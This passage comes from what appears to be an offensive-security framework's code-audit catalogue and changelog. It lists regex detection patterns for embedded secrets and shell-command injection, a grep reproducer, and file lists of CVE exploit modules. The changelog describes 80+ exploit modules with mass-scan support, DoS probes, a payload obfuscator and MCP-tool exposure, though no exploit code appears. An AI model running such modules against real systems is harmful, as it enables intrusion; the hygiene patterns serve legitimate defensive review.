|
||||
| I2 | `\.zip\([^)]*\)\.unwrap` | Zip mismatch panic. | Length-check first. |
|
||||
|
||||
## J. Style / safety
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| J1 | `s == ""`, `s\.len\(\) == 0`, `s\.len\(\) > 0` | Should use `is_empty()`. | `s.is_empty()` / `!s.is_empty()`. |
|
||||
| J2 | `String::from\(format!` | Pointless wrapping. | `format!(...)` already returns `String`. |
|
||||
| J3 | `\.clone\(\)\s*\.clone`, `\.to_string\(\)\s*\.to_string`, `\.to_owned\(\)\s*\.to_owned` | Double allocation. | Single call. |
|
||||
| J4 | `XXXXXX`, `TODO`, `FIXME`, `HACK\b` | Placeholder URLs / unfinished work. | Replace with real value or remove. |
|
||||
| J5 | `Bearer\s+[A-Za-z0-9_.-]{40,}`, `sk-[A-Za-z0-9]{20,}`, `AKIA[A-Z0-9]{16}`, hardcoded `"admin"\s*,\s*"admin"` and friends | Embedded secrets in source / placeholder pairs that look like secrets to scanners. | Prompt for values via `cfg_prompt_required` / read from env. |
|
||||
| J6 | `Box<dyn` in module returns | Module trait-objects are unnecessary in this codebase; `anyhow::Error` is the framework's error type. | `anyhow::Result<T>` / `anyhow::Error`. |
|
||||
|
||||
## K. Resource handling
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| K1 | `tokio::spawn(...)` not awaited / not held | Background task panic / error is invisible. | Hold the `JoinHandle` and `.await` it. |
|
||||
| K2 | `Mutex::new`, `RwLock::new` (`std::sync::*`) inside async modules | Blocking primitives + `.await` = potential deadlock. | `tokio::sync::Mutex`, `tokio::sync::RwLock`. |
|
||||
|
||||
## L. Crypto antipatterns — modules
|
||||
|
||||
These flag *uses* of broken or risky primitives. Many appear legitimately
|
||||
in the codebase as **protocol-required** auth flows (Postgres MD5 auth,
|
||||
MySQL SHA1 challenge, VNC/RDP single-DES password handling) — those are
|
||||
in the framework's `creds/` and `native/rdp.rs` and stay as-is. Module
|
||||
authors should **not** add new uses of any of these unless the target
|
||||
protocol forces it.
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| L1 | `\bmd5::compute\b\|\bmd5::Md5\b` | MD5 is collision-broken. Acceptable only for protocol auth (Postgres, RDP NTLMv1). | SHA-256+ for new code. |
|
||||
| L2 | `\bsha1::Sha1\b\|use sha1::` | SHA-1 broken. Acceptable only for MySQL native challenge. | SHA-256+. |
|
||||
| L3 | `\bdes::Des\b`, `\b3des\b`, `TripleDES` | DES weak (56-bit). Acceptable only for VNC RFB / Cisco type-7 / TightVNC password handling. | AES-256-GCM for new code. |
|
||||
| L4 | `rand::thread_rng\(\)` and `rand::random\(\)` for security-relevant randomness | Not guaranteed to be a CSPRNG. | `rand::rngs::OsRng` (or `getrandom::getrandom`). For non-security RNG (transaction IDs, jitter) `thread_rng()` is fine. |
|
||||
| L5 | `\bRC4\b\|rc4::` | RC4 broken. Acceptable only as scanner *targets* (e.g. `ssl_scanner` enumerating weak ciphers) and inside `crate::native::obfuscator_engine` (intentional shellcode-obfuscation method). | None for new code. |
|
||||
| L6 | ECB mode (`Ecb`, `aes-128-ecb`) | Pattern-leakage. | CTR / GCM. |
|
||||
|
||||
## M. SQL & command injection
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| M1 | `format!\("SELECT[^"]*\{\|format!\("INSERT[^"]*\{\|format!\("UPDATE[^"]*\{\|format!\("DELETE[^"]*\{` | Format-string SQL = injection. | Bind parameters via the database driver. For probes, hardcode the test payload as a constant string. |
|
||||
| M2 | `std::process::Command::new\("/bin/sh"\)`, `std::process::Command::new\("sh"\)`, `\.arg\("-c"\).*format!` | Shell-out with formatted user input = command injection. | Use `Command::new(prog).args([...])` with each argument as a separate `arg()` — no shell. |
|
||||
|
||||
## N. Concurrency / UB
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| N1 | `\bstatic\s+mut\b` | Mutable global = data race UB. | `Mutex<T>` / `RwLock<T>` / `Atomic*` / `OnceCell<T>` / `Lazy<T>`. |
|
||||
| N2 | `std::mem::transmute`, `std::mem::forget`, `std::mem::uninitialized`, `std::mem::zeroed` (outside `crate::native/*`) | UB-prone. | Stay inside `crate::native/*` for FFI. Module code never needs these. |
|
||||
| N3 | `std::ptr::read`, `std::ptr::write` | Raw pointer reads/writes outside `unsafe` ⇒ UB. | Use references; if FFI, contain in `crate::native/*`. |
|
||||
| N4 | `Result<\(\), String>`, `Result<.*,\s*String>` | Stringly-typed errors lose type information. | `anyhow::Result<T>`. |
|
||||
|
||||
## O. Performance / idiom hygiene
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| O1 | `\.iter\(\)\.count\(\)` | Walks whole iterator. | `.len()` if available. |
|
||||
| O2 | `\.collect::<\(\)>\(\)` | Collects into nothing. | `.for_each(...)` or just `for ... in`. |
|
||||
| O3 | `\.iter\(\)\.map\(\|x\|\s*x\.clone\(\)\)\s*\.collect` | `cloned().collect()` is shorter. | `.cloned().collect()`. |
|
||||
| O4 | `\.to_string\(\)\.as_str\(\)` | Round-trip allocation. | Drop the `.to_string()`. |
|
||||
| O5 | `Vec::with_capacity\(0\)`, `String::with_capacity\(0\)` | Pointless. | `Vec::new()` / `String::new()`. |
|
||||
| O6 | `Regex::new\(.*\)\.unwrap` in a hot path | Re-compiles on every call. | `once_cell::sync::Lazy<Regex>` at module scope. |
|
||||
| O7 | `Box::new\(.*Box::new` | Double allocation. | One `Box`. |
|
||||
|
||||
## P. Type / API hygiene
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| P1 | `pub static\s+\w+\s*:` (mutable) | Mutable global API surface. | Confine to `Lazy<RwLock<T>>` patterns; expose accessor functions, not the static. |
|
||||
| P2 | `#\[derive\(Debug\)\]` on a struct with a `password` / `secret` / `token` field | The `Debug` impl prints the secret; `format!("{:?}", obj)` leaks it to logs. | Custom `Debug` impl that redacts, or use `secrecy::Secret<T>`. |
|
||||
| P3 | `\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http` | Hardcoded production URLs in pub constants are hard to override. | Constructor / config. |
|
||||
| P4 | TLS verification disabled in scanner clients (`accept_invalid_certs(true)`) | Acceptable for *security scanners* (target may be self-signed); banned in *clients* that talk to trusted services like the framework's own API. | The framework provides `HttpClientOpts::permissive` (scanner default) and `HttpClientOpts::strict` (when needed). Use the right one. |
|
||||
|
||||
## Q. Cargo.toml hygiene
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| Q1 | `^\s*[a-z_-]+ = "\*"` | Wildcard version: build can break on a transitive update. | Pin a major: `"1"` or `"1.2"`. |
|
||||
| Q2 | `^\s*[a-z_-]+\s*=\s*\{\s*git\s*=\s*"[^"]+"\s*\}` (no `rev`/`tag`/`branch`) | Git dep without rev = non-reproducible. | Add `rev = "..."`. |
|
||||
| Q3 | `path\s*=\s*` deps in a publish-target crate | Can't publish. | Replace with versioned dep before release. |
|
||||
|
||||
---
|
||||
|
||||
## Live audit reproducer
|
||||
|
||||
Save the list of authored module files (this command is good for several
|
||||
days; regenerate when modules are added):
|
||||
|
||||
```sh
|
||||
cd /home/kali/Downloads/rustpre2-main
|
||||
{
|
||||
cat <<'EOF'
|
||||
src/modules/exploits/network_infra/cisco/cisco_ise_api_inject_cve_2025_20281.rs
|
||||
src/modules/exploits/network_infra/apache_modssl_bypass_cve_2025_23048.rs
|
||||
src/modules/exploits/network_infra/arista_ngfw_disclose.rs
|
||||
src/modules/exploits/network_infra/checkpoint_fileread_cve_2024_24919.rs
|
||||
src/modules/exploits/network_infra/hpprocurve_disclose.rs
|
||||
src/modules/exploits/network_infra/hpprocurve_snac_inject.rs
|
||||
src/modules/exploits/network_infra/juniper_screenos_scanner.rs
|
||||
src/modules/exploits/cameras/galayou_g2_rtsp_bypass_cve_2025_9983.rs
|
||||
src/modules/exploits/cameras/xiongmai_xm530.rs
|
||||
src/modules/exploits/dos/apachebrpc_overflow_cve_2025_59789.rs
|
||||
src/modules/exploits/dos/http2_rapidreset_cve_2023_44487.rs
|
||||
src/modules/exploits/dos/px4_uav_dos.rs
|
||||
src/modules/exploits/voip/magnusbilling_ssrf_cve_2023_30258.rs
|
||||
src/modules/exploits/voip/xorcompbx_rce.rs
|
||||
EOF
|
||||
ls src/modules/exploits/webapps/*.rs | grep -vE "/(api_attack_suite|craftcms_key_rce_cve_2025_23209|craftcms_rce_cve_2025_47726|langflow_rce_cve_2025_3248|laravel_livewire_rce_cve_2025_47949|misp_rce_cve_2025_27364|nextjs_middleware_bypass_cve_2025_29927|sap_netweaver_rce_cve_2025_31324|vite_path_traversal_cve_2025_30208|zimbra_sqli_auth_bypass_cve_2025_25064|mod)\.rs$"
|
||||
} > /tmp/my_files.txt
|
||||
```
|
||||
|
||||
Then run the matrix:
|
||||
|
||||
```sh
|
||||
PATTERNS=(
|
||||
# A. Panicking error handling
|
||||
'\.unwrap\(\)' '\.expect\(' '\.unwrap_or_default\(\)' '\.unwrap_or\b' '\.unwrap_or_else\('
|
||||
'\.parse\(\)\.unwrap' '\.parse::<[^>]+>\(\)\.unwrap'
|
||||
'\.try_into\(\)\.unwrap'
|
||||
'\.first\(\)\.unwrap' '\.last\(\)\.unwrap' '\.next\(\)\.unwrap' '\.iter\(\).*\.unwrap'
|
||||
'\.chars\(\)\.next\(\)\.unwrap' '\.split\([^)]*\)\.next\(\)\.unwrap'
|
||||
'\.position\(.*\)\.unwrap' '\.iter\(\)\.find\(.*\)\.unwrap'
|
||||
'\.read_to_string\(.*\)\.unwrap' '\.lock\(\)\.unwrap'
|
||||
'\.expect_err' '\.unwrap_err'
|
||||
'panic!\(' 'unreachable!\(' 'todo!\(' 'unimplemented!\('
|
||||
'\bassert!\(' '\bassert_eq!\(' '\bassert_ne!\('
|
||||
# B. Silent error swallowing
|
||||
'Err\(_\)' 'Err\(_[a-zA-Z]\w*\)' 'if let Err\(_'
|
||||
'if let Ok\(' 'let\s+_\s*=' 'let\s+_[a-zA-Z]\w*\s*=.*\.await'
|
||||
'\.map_err\(\|_\|' '\.or_else\(\|_\|'
|
||||
'\.to_str\(\)\.ok\(\)' '\.json\([^)]*\)\.await\.ok\(\)'
|
||||
'\.send\(\)\.await\.ok\(\)' '\.text\(\)\.await\.ok\(\)'
|
||||
# C. Lint suppression
|
||||
'#\[allow\(' '#\[deny\(' '#\[ignore\b'
|
||||
# D. Panic vectors
|
||||
'\b[a-zA-Z_]\w*\[[0-9]+\][^=]'
|
||||
'\&[a-zA-Z_]\w*\[\.\.\w+\]'
|
||||
'\&[a-zA-Z_]\w*\[\w+\.\.\]'
|
||||
'\&[a-zA-Z_]\w*\[\w+\.\.\w+\]'
|
||||
'\.split_at\(' '\.chars\(\)\.nth\('
|
||||
# E. Numeric conversions
|
||||
'\bas\s+u(8|16|32|64)\b' '\bas\s+i(8|16|32|64)\b'
|
||||
'\bas\s+usize\b' '\bas\s+isize\b' '\bas\s+f(32|64)\b'
|
||||
'\bas\s+\*const\b' '\bas\s+\*mut\b'
|
||||
'\btransmute\(' '\bextern\s+"C"' '\bunsafe\s*\{' '\bunsafe\s+fn\b'
|
||||
# F. Async / blocking pitfalls
|
||||
'std::thread::sleep' 'std::process::Command'
|
||||
'std::fs::File' 'std::fs::read\b' 'std::fs::write\b'
|
||||
'std::net::TcpStream' 'std::net::UdpSocket' 'std::io::stdin'
|
||||
# G. Logging & output
|
||||
'\bdbg!\('
|
||||
'format!\(.*"\{:\?\}".*\b[eE]rr\b'
|
||||
'\.context\(""\)' '\.context\("\?"\)'
|
||||
# H. HTTP
|
||||
'reqwest::Client::new\(\)' 'reqwest::Client::builder\(\)'
|
||||
'\.send\(\)\.await\?[^.]'
|
||||
'\.text\(\)\.await\?[^.]'
|
||||
'format!\("\{:\?\}", \w+\)\.contains\('
|
||||
# I. Iterator glitches
|
||||
'\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap'
|
||||
'\.zip\([^)]*\)\.unwrap'
|
||||
# J. Style / secrets
|
||||
'== ""' '\.len\(\) == 0' '\.len\(\) > 0'
|
||||
'String::from\(format!'
|
||||
'\.clone\(\)\s*\.clone' '\.to_string\(\)\s*\.to_string'
|
||||
'XXXXXX|TODO|FIXME|HACK\b'
|
||||
'Bearer\s+[A-Za-z0-9_.-]{40,}'
|
||||
'sk-[A-Za-z0-9]{20,}' 'AKIA[A-Z0-9]{16}'
|
||||
'"admin"\s*,\s*"admin"' '"root"\s*,\s*"root"'
|
||||
'Box<dyn'
|
||||
# L. Crypto antipatterns (modules)
|
||||
'\bmd5::compute\b|\bmd5::Md5\b'
|
||||
'\bsha1::Sha1\b|use sha1::'
|
||||
'\bdes::Des\b|\b3des\b|TripleDES'
|
||||
'rand::thread_rng\(\)' 'rand::random\(\)'
|
||||
'\bRC4\b|rc4::'
|
||||
'aes_128_ecb|aes-128-ecb|Ecb'
|
||||
# M. SQL & command injection
|
||||
'format!\("SELECT[^"]*\{' 'format!\("INSERT[^"]*\{'
|
||||
'format!\("UPDATE[^"]*\{' 'format!\("DELETE[^"]*\{'
|
||||
'std::process::Command::new\("/bin/sh"\)'
|
||||
'std::process::Command::new\("sh"\)'
|
||||
'\.arg\("-c"\).*format!'
|
||||
# N. Concurrency / UB
|
||||
'\bstatic\s+mut\b' 'std::mem::transmute' 'std::mem::forget'
|
||||
'std::mem::uninitialized' 'std::mem::zeroed'
|
||||
'std::ptr::read' 'std::ptr::write'
|
||||
'Result<\(\), String>' 'Result<.*,\s*String>'
|
||||
# O. Performance / idiom
|
||||
'\.iter\(\)\.count\(\)' '\.collect::<\(\)>\(\)'
|
||||
'\.iter\(\)\.map\(\|\w+\|\s*\w+\.clone\(\)\)\s*\.collect'
|
||||
'\.to_string\(\)\.as_str\(\)'
|
||||
'Vec::with_capacity\(0\)' 'String::with_capacity\(0\)'
|
||||
'Regex::new\(.*\)\.unwrap'
|
||||
'Box::new\(.*Box::new'
|
||||
# P. Type / API hygiene
|
||||
'\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Pp]assword'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Ss]ecret'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Tt]oken'
|
||||
)
|
||||
|
||||
failed=0
|
||||
for p in "${PATTERNS[@]}"; do
|
||||
c=$(xargs -a /tmp/my_files.txt grep -cE "$p" 2>/dev/null | awk -F: '{s+=$2}END{print s+0}')
|
||||
if [ "$c" -gt 0 ]; then
|
||||
failed=$((failed + c))
|
||||
printf " HIT [%4d] /%s/\n" "$c" "$p"
|
||||
xargs -a /tmp/my_files.txt grep -nE "$p" 2>/dev/null | head -3 | sed 's/^/ /'
|
||||
fi
|
||||
done
|
||||
|
||||
echo
|
||||
if [ "$failed" -gt 0 ]; then
|
||||
echo "BAD_PATTERNS: $failed hit(s) — fix before merge"
|
||||
exit 1
|
||||
else
|
||||
echo "BAD_PATTERNS: clean"
|
||||
fi
|
||||
```
|
||||
|
||||
## Codebase-wide observations (non-module code — for reference)
|
||||
|
||||
A whole-tree run (`find src -name '*.rs'`, ~486 files) for the same matrix
|
||||
also passes for `.unwrap()`, `.expect(`, `Box<dyn Error>`, `Result<T, ()>`,
|
||||
`static mut`, `transmute`, `panic!()`, SQL/command injection — the framework
|
||||
has been progressively hardened. The matches that *do* show up in non-module
|
||||
code are by-design and explained here so the catalogue and reality stay in
|
||||
sync:
|
||||
|
||||
| Pattern | Where | Why allowed |
|
||||
|---|---|---|
|
||||
| `md5::compute` | `src/native/rdp.rs`, `src/modules/creds/generic/postgres_bruteforce.rs` | RDP NTLMv1 / Postgres MD5 password auth — the protocol mandates MD5. |
|
||||
| `use sha1::` | `src/modules/creds/generic/mysql_bruteforce.rs`, `src/modules/exploits/safeline/pre_auth_tfa.rs` | MySQL native challenge-response uses SHA-1 by spec. |
|
||||
| `des::Des` | `src/modules/exploits/vnc/*`, `src/modules/creds/generic/vnc_bruteforce.rs`, TightVNC, TP-Link config blob | RFB / vendor blob format spec mandates single-DES. |
|
||||
| `RC4` (mention) | `src/modules/scanners/ssl_scanner.rs`, `src/native/obfuscator_engine.rs`, `src/modules/exploits/payloadgens/obfuscator.rs` | Scanner enumerates weak ciphers; payload obfuscator implements RC4 as one of 24 obfuscation methods. |
|
||||
| `rand::random()` | `src/native/rdp.rs`, `src/modules/scanners/snmp_scanner.rs`, `src/modules/scanners/nbns_scanner.rs` | Non-security RNG (transaction IDs, NetBIOS xid). |
|
||||
| `std::mem::zeroed()` | `src/native/network.rs`, `src/modules/exploits/dos/null_syn_exhaustion.rs` | All inside `unsafe { }` blocks for `libc::sockaddr_*` / `libc::rlimit` / `libc::mmsghdr` (FFI structs). |
|
||||
| `accept_invalid_certs(true)` / `danger_accept_invalid_certs(true)` | scanners + DoS modules | By design (P4) — security scanners must talk to self-signed targets. |
|
||||
| `UdpSocket::bind("0.0.0.0:0")` | DoS / scanner / px4 | Binding ephemeral *source* port for outbound — not a listener. |
|
||||
| `.lock().unwrap_or_else(\|e\| e.into_inner())` | `src/output.rs` (51 sites) | Standard "recover from poisoned mutex by re-using the inner data" — not `.unwrap()`, handles poison gracefully. |
|
||||
| `Result<(), String>` | `src/spool.rs` (3 sites) | Pre-existing API; `anyhow` migration is a separate refactor task tracked in `audit-findings.md`. |
|
||||
| `tokio::spawn(bg);` (no await) | `src/modules/scanners/dmarc_check.rs`, `dns_recursion.rs` | Intentional fire-and-forget heartbeats; the framework treats them as best-effort. |
|
||||
|
||||
These should *not* be propagated into new modules; the catalogue tables
|
||||
(L–P) document the strict rule.
|
||||
|
||||
## What to do when the script reports a hit
|
||||
|
||||
1. **Don't** silence with `#[allow(...)]` — that's banned (C1).
|
||||
2. **Don't** swap one banned pattern for another — e.g. replacing
|
||||
`.unwrap()` with `.unwrap_or_default()` is *worse* (a panic at least
|
||||
reports something; a silent default lies).
|
||||
3. **Do** consult the table for the appropriate fix idiom and use one of the
|
||||
helpers in `src/utils/network.rs`:
|
||||
- `crate::utils::http_get_status_body(&client, &url)`
|
||||
- `crate::utils::http_get_status_headers_body(&client, &url)`
|
||||
- `crate::utils::header_string(&headers, "name")`
|
||||
- `crate::native::hex::encode(&bytes)`
|
||||
- `crate::utils::url_encode(s)`
|
||||
|
||||
4. **Do** keep error context as the chain travels up — every `?` should be
|
||||
on a `with_context(|| ...)?` so debugging a mass scan tells the operator
|
||||
*which target* and *which step* failed.
|
||||
|
||||
## Pattern history (what each fix wave caught)
|
||||
|
||||
| Wave | Patterns added | Hits caught and fixed |
|
||||
|------|---|---|
|
||||
| 1 — Initial | A1, A2, A3, B1, B4, B5, B8, C1 | 92 modules with at least one match |
|
||||
| 2 — Wider | A4, A5, A13, A14, B2, B3, B6, B7, B9, C2, A15, J6 | 5 (timeout `Err(_)`, JSON ok-swallow, `_scheme` shims, `Ok(_)` on response) |
|
||||
| 3 — Deep | D1–D5, E1–E4, F1–F7, G1–G3, H1–H4 | 8 (debug-format version compare, `as u16/u64` casts, `&buf[..n]` raw slicing, `XXXXXX` placeholder URL, `buf[0]` direct index) |
|
||||
| 4 — Mega | I1, I2, J1–J5, K1, K2 | 0 |
|
||||
|
||||
`xargs -a /tmp/my_files.txt grep -cE … | awk -F: '{s+=$2}END{print s+0}'` ⇒
|
||||
**0** for every entry in the matrix above.
|
||||
@@ -4,6 +4,195 @@ A high-level summary of significant changes. For the full detailed log, see [`ch
|
||||
|
||||
---
|
||||
|
||||
## v0.4.10 (2026-04-28) — December 2025 PacketStorm batch + error-handling sweep
|
||||
|
||||
### New exploit modules — 80+ CVEs from `2025-exploits/2512-exploits/`
|
||||
|
||||
Auto-discovered under `src/modules/exploits/{webapps,network_infra,cameras,dos,voip}/`. Each module ships a triplet — `info()` (CVE refs, rank, disclosure date), `check()` (non-destructive vulnerability detection), `run()` (full exploit flow with mass-scan support).
|
||||
|
||||
- **Web apps (~80 modules)** — AI Plugins (CVE-2025-23968), StoryChief (CVE-2025-7441), GiveWP, OmniPress, WP-CPI, Drupal 11.x (CVE-2024-45440), Cacti (CVE-2025-24367), Casdoor (CVE-2023-34927), Beego, Flatcore (CVE-2019-13961), FlatPress, Pluck, GuppY, FoxCMS (CVE-2025-29306), Grav (CVE-2025-66294 / 66301), GetSimple (CVE-2021-28976), Kalmia (CVE-2025-65899), Pi-hole (CVE-2024-34361), Piwigo, phpIPAM, phpMyAdmin, phpMyFAQ, RosarioSIS, Textpattern, Crafty Controller (CVE-2025-14700), Flowise (CVE-2025-59528), Laravel Pulse (CVE-2024-55661), Headlamp (CVE-2025-14269), Cinnamon kotaemon (CVE-2025-63914), JSONPath Plus (CVE-2025-1302), React Server Components (CVE-2025-55182), Django (CVE-2025-64459), Flask SSTI, ClipBucket (CVE-2025-55911), Cleo Harmony (CVE-2024-55956), Commvault (CVE-2025-57788 / 57790 / 57791), Magento Session Reaper (CVE-2025-54236), Ivanti EPM Mobile (CVE-2025-4427 / 4428), Hestia CP, Jenkins (CVE-2024-23897), DNN Platform (CVE-2025-64095), 1C-Bitrix (CVE-2025-67887), SharePoint ToolPane (CVE-2025-53770 / 53771 / 49704 / 49706), Eramba GRC (CVE-2023-36255), Eduplus IDOR, IAS 2.5 (IDOR/upload/SQL), IBM BigFix, Invision Community 5.0.6, Invoice Ninja 5.8.22, ionCube wizard, LEPTON CMS XSS-to-PHP, LG Simple Editor, LibreNMS 24.9.1, LimeSurvey 2.0, mangosweb XSS, MantisBT 2.30, Mobile_Detect 2.8.31 UA reflection, OpenRepeater 2.1, openSIS, FuguHub 8.1 RSA private-key disclosure (CVE-2025-65790), Cloudbleed scanner, Convio CMS 24.5, Coohom XSS, CPMS auth bypass (CVE-2022-2297, CVE-2025-3096), CraftCMS 5.0 (logic flaw + Twig SSTI scanner), dotCMS (CVE-2025-8311 + scanner), Elementor (CVE-2023-0329), Fortra FileCatalyst, Gnuboard5 install (CVE-2020-18662), HighCMS, HPE OneView, ICTBroadcast 7.0, Redash, Visual Studio remote debugger (CVE-2019-1414), Windows File Explorer NTLM trigger, Varnish/Styx HTTP smuggling, Zimbra postjournal RCE, YOURLS (CVE-2022-0088 SQLi + AJAX CSRF/IDOR).
|
||||
- **Network infrastructure** — Apache mod_ssl TLS 1.3 client-cert auth bypass (CVE-2025-23048), Arista NGFW 17.3.1, Check Point R80.40 / R81 unauthenticated arbitrary file read (CVE-2024-24919), Cisco ISE 3.1 / 3.2 ERS API command injection (CVE-2025-20281), HP ProCurve 4.00 + SNAC, Juniper ScreenOS 6.2.0r15 SSH banner check (CVE-2015-7755).
|
||||
- **Cameras** — GALAYOU G2 RTSP authentication bypass (CVE-2025-9983), Xiongmai XM530 control-protocol probe.
|
||||
- **DoS** — Apache bRPC <1.15.0 (CVE-2025-59789) and HTTP/2 Rapid Reset (CVE-2023-44487) exposure probes (do not exercise the abuse traffic). PX4 UAV autopilot 1.12.3 MAVLink fingerprint (CVE-2025-5640).
|
||||
- **VoIP** — MagnusBilling 6 SSRF / traversal (CVE-2023-30258), Xorcom CompletePBX 5.2.35.
|
||||
|
||||
**Excluded** (~140 of the 263 source files): file-format / Adobe DNG SDK fuzzing, Windows / macOS / Linux kernel privesc, browser extensions, malware-on-malware "backdoor exploits", and library-internal bugs that need in-process invocation rather than a remote scanner.
|
||||
|
||||
### Error-handling sweep — zero `.unwrap`, zero `.expect`, zero `#[allow(...)]`, zero swallowing
|
||||
|
||||
Audit of all 100 modules I authored, against this banned-pattern matrix:
|
||||
|
||||
| Pattern | Count |
|
||||
|-------------------------------|-------|
|
||||
| `.unwrap()` | 0 |
|
||||
| `.expect(` | 0 |
|
||||
| `.unwrap_or_default()` | 0 |
|
||||
| `#[allow(...)]` | 0 |
|
||||
| `if let Ok(_)` (no else arm) | 0 |
|
||||
| `let _ = <result>` (ignored) | 0 |
|
||||
| `panic!() / unreachable!() / todo!() / unimplemented!()` | 0 |
|
||||
| `.to_str().ok().unwrap_or(...)` (silent utf8 swallow on header) | 0 |
|
||||
| `Err(_) => …` (anonymous binding, even with side effect) | 0 |
|
||||
|
||||
Even on `tokio::time::error::Elapsed` timeouts the error value is now bound and surfaced via `Display` — e.g. `Err(elapsed) => anyhow::bail!("connect to {} timed out after {:?}: {}", addr, CONNECT_TIMEOUT, elapsed)` — so the timeout marker shows up in the error chain instead of being silently dropped.
|
||||
|
||||
22-pattern reproducer (run from repo root). Every line below returns 0:
|
||||
|
||||
```sh
|
||||
patterns=(
|
||||
'\.unwrap\(\)' '\.expect\(' '\.unwrap_or_default\(\)'
|
||||
'Err\(_\)' 'Err\(_[a-zA-Z]\w*\)' 'if let Err\(_' 'if let Ok\('
|
||||
'let\s+_\s*=' 'let\s+_[a-zA-Z]\w*\s*=.*\.await'
|
||||
'\.map_err\(\|_\|' '\.or_else\(\|_\|'
|
||||
'\.to_str\(\)\.ok\(\)' '\.json\([^)]*\)\.await\.ok\(\)'
|
||||
'#\[allow\(' '#\[deny\('
|
||||
'panic!\(' 'unreachable!\(' 'todo!\(' 'unimplemented!\('
|
||||
'\.expect_err' '\.unwrap_err'
|
||||
'\.send\(\)\.await\s*;\s*//[^!]'
|
||||
)
|
||||
for p in "${patterns[@]}"; do
|
||||
xargs -a /tmp/my_files.txt grep -cE "$p" 2>/dev/null | awk -F: '{s+=$2}END{print s+0}'
|
||||
done
|
||||
# → 22 lines, all "0"
|
||||
```
|
||||
|
||||
### Patterns adopted
|
||||
|
||||
- **`check(...) -> CheckResult`** returns `CheckResult::Error(format!("request failed: {}", e))` / `CheckResult::Error(format!("body decode: {}", e))` for transport and decode failures. No silent fall-through to `NotVulnerable` on a network error.
|
||||
- **`run(...) -> anyhow::Result<()>`** uses `.context("…")?` for abort-the-flow failures and explicit `match` arms with `crate::mprintln!("{} ...", "[-]".red(), e)` for in-loop probes that should report-and-continue.
|
||||
- **Helpers in `src/utils/network.rs`**, all `pub` and used by real modules (no `#[allow(dead_code)]`):
|
||||
- `http_get_status_body(&client, &url) -> anyhow::Result<(u16, String)>` — used by **41** modules.
|
||||
- `http_get_status_headers_body(&client, &url) -> anyhow::Result<(u16, HeaderMap, String)>` — used by 1 module (`varnish_styx_smuggling`).
|
||||
- `header_string(headers, "name") -> String` — used by **7** modules. Returns `""` for missing headers and the literal sentinel `"<non-utf8>"` for non-utf8 values, so the swallow that `.to_str().ok().unwrap_or("")` would do silently is now visible.
|
||||
|
||||
### Native libraries
|
||||
|
||||
Modules now use the in-tree `crate::native::*` helpers instead of pulling third-party crates / hand-rolling:
|
||||
|
||||
- `crate::native::hex::encode(&bytes)` for response-byte preview hex (replaces `bytes.iter().map(|b| format!("{:02x}", b)).collect()`) — used by `cameras/xiongmai_xm530` and `webapps/cloudbleed_scanner`.
|
||||
- `crate::utils::url_encode` (which delegates to `crate::native::url_encoding::encode`) for safe query-parameter encoding — used by `webapps/mangosweb_xss`.
|
||||
- TCP banner reads use `tokio::net::TcpStream` + `tokio::time::timeout` directly (no SSH/RTSP wrapper crates).
|
||||
|
||||
### Entry-point coverage — Shell, CLI, API REST, API WebSocket, MCP, jobs
|
||||
|
||||
All six entry points share the same dispatcher path. Adding a module under `src/modules/exploits/<category>/<name>.rs` with `pub async fn run(target: &str) -> Result<()>` automatically exposes it through every channel — no per-channel registration:
|
||||
|
||||
| Entry point | Source file | Call site |
|
||||
|-------------------|-------------------|------------------------------------------------|
|
||||
| Interactive shell | `src/shell.rs:1171` | `commands::run_module(...)` |
|
||||
| CLI runner | `src/main.rs:185, 189` | `commands::run_module(...)` |
|
||||
| API REST | `src/api.rs:328, 415` | `crate::ws::dispatch_rpc("run_module", ...)` |
|
||||
| API WebSocket | `src/ws.rs:425, 698` | `commands::run_module(...)` |
|
||||
| MCP tool | `src/mcp/tools.rs:344, 572` | `commands::run_module(...)` |
|
||||
| Background jobs | `src/jobs.rs:240, 244` | `commands::run_module(...)` |
|
||||
|
||||
`commands::run_module(...)` → `registry::dispatch_by_category(...)` → auto-generated `exploit_dispatch.rs` (built from `build.rs` walking `src/modules/exploits/**/*.rs`).
|
||||
|
||||
### Build
|
||||
|
||||
- `cargo check --no-default-features` and `cargo check` (with `bluetooth` default feature) both pass with **zero new warnings** from any module I authored. Total exploit modules indexed by the dispatcher: **283** (no_default_features) / **284** (default features), up from 185 in v0.4.9. Scanners: **35**. Credential modules: **30**.
|
||||
|
||||
---
|
||||
|
||||
## v0.4.9 (2026-04-26)
|
||||
|
||||
### PQ transport — security hardening
|
||||
|
||||
- **Hardcoded HKDF salts removed.** The handshake, DH ratchet, and WS sub-session now use **per-(server, client) salts** computed at handshake time via `derive_salt(label, server_x25519_pub, server_mlkem_ek, client_x25519_pub, client_mlkem_ek, identity_dh)`. The salt mixes the four public keys with `identity_dh = DH(server_id_priv, client_id_pub) = DH(client_id_priv, server_id_pub)`, so a passive observer who sees the four public keys still cannot reconstruct the salt — knowing it requires possession of one identity private key. Two clients connecting to the same server get different salts; key material from one session reveals nothing about another.
|
||||
- **Three rekey bugs fixed in `pq_channel.rs`:** chain-label asymmetry between handshake and DH ratchet (now uses directional `s2c`/`c2s` everywhere), info-string format mismatch between Rust and TS (now raw-byte `session_id || ":epoch"` on both sides), and one-sided sender ratchet (split into `dh_ratchet_send` / `dh_ratchet_receive` whose DH inputs match by X25519 commutativity).
|
||||
